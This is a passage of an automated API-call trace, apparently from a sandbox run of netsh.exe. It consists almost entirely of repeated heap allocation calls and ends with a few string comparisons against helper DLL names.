0x1fa4c110000 [0103.628] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e8a0 [0103.628] GetProcessHeap () returned 0x1fa4c110000 [0103.628] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e4e0 [0103.628] GetProcessHeap () returned 0x1fa4c110000 [0103.628] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e540 [0103.628] GetProcessHeap () returned 0x1fa4c110000 [0103.628] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e700 [0103.628] GetProcessHeap () returned 0x1fa4c110000 [0103.628] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e820 [0103.628] GetProcessHeap () returned 0x1fa4c110000 [0103.628] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e520 [0103.628] GetProcessHeap () returned 0x1fa4c110000 [0103.629] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e560 [0103.629] GetProcessHeap () returned 0x1fa4c110000 [0103.629] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e720 [0103.629] GetProcessHeap () returned 0x1fa4c110000 [0103.629] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e580 [0103.629] GetProcessHeap () returned 0x1fa4c110000 [0103.629] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e8e0 [0103.629] GetProcessHeap () returned 0x1fa4c110000 [0103.629] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120410 [0103.629] GetProcessHeap () returned 0x1fa4c110000 [0103.629] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11fdf0 [0103.629] GetProcessHeap () returned 0x1fa4c110000 [0103.629] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120110 [0103.629] GetProcessHeap () returned 0x1fa4c110000 [0103.629] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11fd90 [0103.629] GetProcessHeap () returned 0x1fa4c110000 [0103.629] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1201b0 [0103.629] GetProcessHeap () returned 0x1fa4c110000 [0103.629] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120470 [0103.629] GetProcessHeap () returned 0x1fa4c110000 [0103.629] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11fe70 [0103.629] GetProcessHeap () returned 0x1fa4c110000 [0103.629] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120490 [0103.629] GetProcessHeap () returned 0x1fa4c110000 [0103.629] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11ffb0 [0103.629] GetProcessHeap () returned 0x1fa4c110000 [0103.629] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120330 [0103.629] GetProcessHeap () returned 0x1fa4c110000 [0103.629] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1202b0 [0103.629] GetProcessHeap () returned 0x1fa4c110000 [0103.629] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1201f0 [0103.629] GetProcessHeap () returned 0x1fa4c110000 [0103.629] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120310 [0103.629] GetProcessHeap () returned 0x1fa4c110000 [0103.629] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11fdd0 [0103.629] GetProcessHeap () returned 0x1fa4c110000 [0103.629] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120350 [0103.629] GetProcessHeap () returned 0x1fa4c110000 [0103.629] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11fe90 [0103.629] GetProcessHeap () returned 0x1fa4c110000 [0103.629] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1202d0 [0103.629] GetProcessHeap () returned 0x1fa4c110000 [0103.629] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120270 [0103.629] GetProcessHeap () returned 0x1fa4c110000 [0103.630] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11ff90 [0103.630] GetProcessHeap () returned 0x1fa4c110000 [0103.630] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120230 [0103.630] GetProcessHeap () returned 0x1fa4c110000 [0103.630] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120370 [0103.630] GetProcessHeap () returned 0x1fa4c110000 [0103.630] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11fd10 [0103.630] GetProcessHeap () returned 0x1fa4c110000 [0103.630] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120390 [0103.630] GetProcessHeap () returned 0x1fa4c110000 [0103.630] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1203d0 [0103.630] GetProcessHeap () returned 0x1fa4c110000 [0103.630] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120210 [0103.630] GetProcessHeap () returned 0x1fa4c110000 [0103.630] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1201d0 [0103.630] GetProcessHeap () returned 0x1fa4c110000 [0103.630] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11fdb0 [0103.630] GetProcessHeap () returned 0x1fa4c110000 [0103.630] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11feb0 [0103.630] GetProcessHeap () returned 0x1fa4c110000 [0103.630] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11fed0 [0103.630] GetProcessHeap () returned 0x1fa4c110000 [0103.630] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11ffd0 [0103.630] GetProcessHeap () returned 0x1fa4c110000 [0103.630] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11ff70 [0103.630] GetProcessHeap () returned 0x1fa4c110000 [0103.630] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120030 [0103.630] GetProcessHeap () returned 0x1fa4c110000 [0103.630] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1203f0 [0103.630] GetProcessHeap () returned 0x1fa4c110000 [0103.630] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11fe30 [0103.630] GetProcessHeap () returned 0x1fa4c110000 [0103.630] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11fef0 [0103.630] GetProcessHeap () returned 0x1fa4c110000 [0103.630] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11ff10 [0103.630] GetProcessHeap () returned 0x1fa4c110000 [0103.630] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120430 [0103.630] GetProcessHeap () returned 0x1fa4c110000 [0103.631] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120290 [0103.631] GetProcessHeap () returned 0x1fa4c110000 [0103.631] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120250 [0103.631] GetProcessHeap () returned 0x1fa4c110000 [0103.631] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11fff0 [0103.631] GetProcessHeap () returned 0x1fa4c110000 [0103.631] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11ff30 [0103.631] GetProcessHeap () returned 0x1fa4c110000 [0103.631] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11fe10 [0103.631] GetProcessHeap () returned 0x1fa4c110000 [0103.631] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120010 [0103.631] GetProcessHeap () returned 0x1fa4c110000 [0103.631] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120050 [0103.631] GetProcessHeap () returned 0x1fa4c110000 [0103.631] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120450 [0103.631] GetProcessHeap () returned 0x1fa4c110000 [0103.631] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1203b0 [0103.631] GetProcessHeap () returned 0x1fa4c110000 [0103.631] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120090 [0103.631] GetProcessHeap () returned 0x1fa4c110000 [0103.631] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120070 [0103.631] GetProcessHeap () returned 0x1fa4c110000 [0103.631] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11fe50 [0103.631] GetProcessHeap () returned 0x1fa4c110000 [0103.631] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1202f0 [0103.631] GetProcessHeap () returned 0x1fa4c110000 [0103.631] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11fd30 [0103.631] GetProcessHeap () returned 0x1fa4c110000 [0103.631] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11fd50 [0103.631] GetProcessHeap () returned 0x1fa4c110000 [0103.631] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120150 [0103.631] GetProcessHeap () returned 0x1fa4c110000 [0103.631] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11fd70 [0103.631] GetProcessHeap () returned 0x1fa4c110000 [0103.631] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11ff50 [0103.631] GetProcessHeap () returned 0x1fa4c110000 [0103.631] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1200b0 [0103.631] GetProcessHeap () returned 0x1fa4c110000 [0103.631] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1200d0 [0103.631] GetProcessHeap () returned 0x1fa4c110000 [0103.631] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1200f0 [0103.631] GetProcessHeap () returned 0x1fa4c110000 [0103.631] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120130 [0103.631] GetProcessHeap () returned 0x1fa4c110000 [0103.632] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120170 [0103.632] GetProcessHeap () returned 0x1fa4c110000 [0103.632] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120190 [0103.632] GetProcessHeap () returned 0x1fa4c110000 [0103.632] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120ba0 [0103.632] GetProcessHeap () returned 0x1fa4c110000 [0103.632] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1206a0 [0103.632] GetProcessHeap () returned 0x1fa4c110000 [0103.632] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120560 [0103.632] GetProcessHeap () returned 0x1fa4c110000 [0103.632] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120a20 [0103.632] GetProcessHeap () returned 0x1fa4c110000 [0103.632] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120780 [0103.632] GetProcessHeap () returned 0x1fa4c110000 [0103.632] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120bc0 [0103.632] GetProcessHeap () returned 0x1fa4c110000 [0103.632] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120ac0 [0103.632] GetProcessHeap () returned 0x1fa4c110000 [0103.632] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1208c0 [0103.632] GetProcessHeap () returned 0x1fa4c110000 [0103.632] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1209c0 [0103.632] GetProcessHeap () returned 0x1fa4c110000 [0103.632] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120b80 [0103.632] GetProcessHeap () returned 0x1fa4c110000 [0103.632] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1207a0 [0103.632] GetProcessHeap () returned 0x1fa4c110000 [0103.632] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120600 [0103.632] GetProcessHeap () returned 0x1fa4c110000 [0103.632] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1206c0 [0103.632] GetProcessHeap () returned 0x1fa4c110000 [0103.632] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120660 [0103.632] GetProcessHeap () returned 0x1fa4c110000 [0103.632] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1205a0 [0103.632] GetProcessHeap () returned 0x1fa4c110000 [0103.632] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1207e0 [0103.632] GetProcessHeap () returned 0x1fa4c110000 [0103.632] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120c60 [0103.632] GetProcessHeap () returned 0x1fa4c110000 [0103.632] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120a40 [0103.632] GetProcessHeap () returned 0x1fa4c110000 [0103.632] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120740 [0103.632] GetProcessHeap () returned 0x1fa4c110000 [0103.632] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120a60 [0103.633] GetProcessHeap () returned 0x1fa4c110000 [0103.633] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1206e0 [0103.633] GetProcessHeap () returned 0x1fa4c110000 [0103.633] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1209e0 [0103.633] GetProcessHeap () returned 0x1fa4c110000 [0103.633] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120b40 [0103.633] GetProcessHeap () returned 0x1fa4c110000 [0103.633] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120ca0 [0103.633] GetProcessHeap () returned 0x1fa4c110000 [0103.633] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120b60 [0103.633] GetProcessHeap () returned 0x1fa4c110000 [0103.633] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120980 [0103.633] GetProcessHeap () returned 0x1fa4c110000 [0103.633] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120ae0 [0103.633] GetProcessHeap () returned 0x1fa4c110000 [0103.633] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1205e0 [0103.633] GetProcessHeap () returned 0x1fa4c110000 [0103.633] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1208e0 [0103.633] GetProcessHeap () returned 0x1fa4c110000 [0103.633] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120b00 [0103.633] GetProcessHeap () returned 0x1fa4c110000 [0103.633] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120a00 [0103.633] GetProcessHeap () returned 0x1fa4c110000 [0103.633] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120620 [0103.633] GetProcessHeap () returned 0x1fa4c110000 [0103.633] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120be0 [0103.633] GetProcessHeap () returned 0x1fa4c110000 [0103.633] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120940 [0103.633] GetProcessHeap () returned 0x1fa4c110000 [0103.633] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120c00 [0103.633] GetProcessHeap () returned 0x1fa4c110000 [0103.633] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120a80 [0103.633] GetProcessHeap () returned 0x1fa4c110000 [0103.633] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120b20 [0103.633] GetProcessHeap () returned 0x1fa4c110000 [0103.633] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120aa0 [0103.633] GetProcessHeap () returned 0x1fa4c110000 [0103.633] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1207c0 [0103.633] GetProcessHeap () returned 0x1fa4c110000 [0103.634] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120c80 [0103.634] GetProcessHeap () returned 0x1fa4c110000 [0103.634] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120900 [0103.634] GetProcessHeap () returned 0x1fa4c110000 [0103.634] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120820 [0103.634] GetProcessHeap () returned 0x1fa4c110000 [0103.634] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120640 [0103.634] GetProcessHeap () returned 0x1fa4c110000 [0103.634] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120880 [0103.634] GetProcessHeap () returned 0x1fa4c110000 [0103.634] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120700 [0103.634] GetProcessHeap () returned 0x1fa4c110000 [0103.634] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120c20 [0103.634] GetProcessHeap () returned 0x1fa4c110000 [0103.634] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120760 [0103.634] GetProcessHeap () returned 0x1fa4c110000 [0103.634] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120920 [0103.634] GetProcessHeap () returned 0x1fa4c110000 [0103.634] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1208a0 [0103.634] GetProcessHeap () returned 0x1fa4c110000 [0103.634] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120840 [0103.634] GetProcessHeap () returned 0x1fa4c110000 [0103.634] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120520 [0103.634] GetProcessHeap () returned 0x1fa4c110000 [0103.634] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120c40 [0103.634] GetProcessHeap () returned 0x1fa4c110000 [0103.634] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1209a0 [0103.634] GetProcessHeap () returned 0x1fa4c110000 [0103.634] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120860 [0103.634] GetProcessHeap () returned 0x1fa4c110000 [0103.634] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120540 [0103.634] GetProcessHeap () returned 0x1fa4c110000 [0103.634] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120580 [0103.634] GetProcessHeap () returned 0x1fa4c110000 [0103.634] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1205c0 [0103.634] GetProcessHeap () returned 0x1fa4c110000 [0103.634] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120680 [0103.634] GetProcessHeap () returned 0x1fa4c110000 [0103.634] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120720 [0103.634] GetProcessHeap () returned 0x1fa4c110000 [0103.634] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120800 [0103.634] GetProcessHeap () returned 0x1fa4c110000 [0103.634] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120960 [0103.635] GetProcessHeap () returned 0x1fa4c110000 [0103.635] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120f90 [0103.635] GetProcessHeap () returned 0x1fa4c110000 [0103.635] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c121230 [0103.635] GetProcessHeap () returned 0x1fa4c110000 [0103.635] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1212d0 [0103.635] GetProcessHeap () returned 0x1fa4c110000 [0103.635] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120eb0 [0103.635] GetProcessHeap () returned 0x1fa4c110000 [0103.635] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c121210 [0103.635] GetProcessHeap () returned 0x1fa4c110000 [0103.635] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120d70 [0103.635] GetProcessHeap () returned 0x1fa4c110000 [0103.635] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c121470 [0103.635] GetProcessHeap () returned 0x1fa4c110000 [0103.635] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c121290 [0103.635] GetProcessHeap () returned 0x1fa4c110000 [0103.635] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1211f0 [0103.635] GetProcessHeap () returned 0x1fa4c110000 [0103.635] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c121130 [0103.635] GetProcessHeap () returned 0x1fa4c110000 [0103.635] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c121310 [0103.635] GetProcessHeap () returned 0x1fa4c110000 [0103.635] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120d90 [0103.635] GetProcessHeap () returned 0x1fa4c110000 [0103.635] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c121150 [0103.635] GetProcessHeap () returned 0x1fa4c110000 [0103.635] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c121010 [0103.635] GetProcessHeap () returned 0x1fa4c110000 [0103.635] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120d50 [0103.635] GetProcessHeap () returned 0x1fa4c110000 [0103.635] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120e50 [0103.635] GetProcessHeap () returned 0x1fa4c110000 [0103.635] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120db0 [0103.635] GetProcessHeap () returned 0x1fa4c110000 [0103.636] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c121430 [0103.636] GetProcessHeap () returned 0x1fa4c110000 [0103.636] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1211d0 [0103.636] GetProcessHeap () returned 0x1fa4c110000 [0103.636] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120e70 [0103.636] GetProcessHeap () returned 0x1fa4c110000 [0103.636] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120dd0 [0103.636] GetProcessHeap () returned 0x1fa4c110000 [0103.636] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c121330 [0103.636] GetProcessHeap () returned 0x1fa4c110000 [0103.636] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c121110 [0103.636] GetProcessHeap () returned 0x1fa4c110000 [0103.636] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c121370 [0103.636] GetProcessHeap () returned 0x1fa4c110000 [0103.636] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c121250 [0103.636] GetProcessHeap () returned 0x1fa4c110000 [0103.636] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c120fd0 [0103.636] GetProcessHeap () returned 0x1fa4c110000 [0103.636] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1211b0 [0103.636] GetProcessHeap () returned 0x1fa4c110000 [0103.636] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c1210b0 [0103.636] _wcsicmp (_String1="netsh.exe", _String2="ipxmontr.dll") returned 5 [0103.636] _wcsicmp (_String1="netsh.exe", _String2="ipxpromn.dll") returned 5 [0103.636] GetProcessHeap () returned 0x1fa4c110000 [0103.636] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x28) returned 0x1fa4c118680 [0103.636] GetProcessHeap () returned 0x1fa4c110000 [0103.636] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x2) returned 0x1fa4c11db70 [0103.636] GetProcessHeap () returned 0x1fa4c110000 [0103.636] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x14) returned 0x1fa4c120df0 [0103.636] _wcsupr (in: _String="netsh.exe" | out: _String="NETSH.EXE") returned="NETSH.EXE" [0103.636] GetProcessHeap () returned 0x1fa4c110000 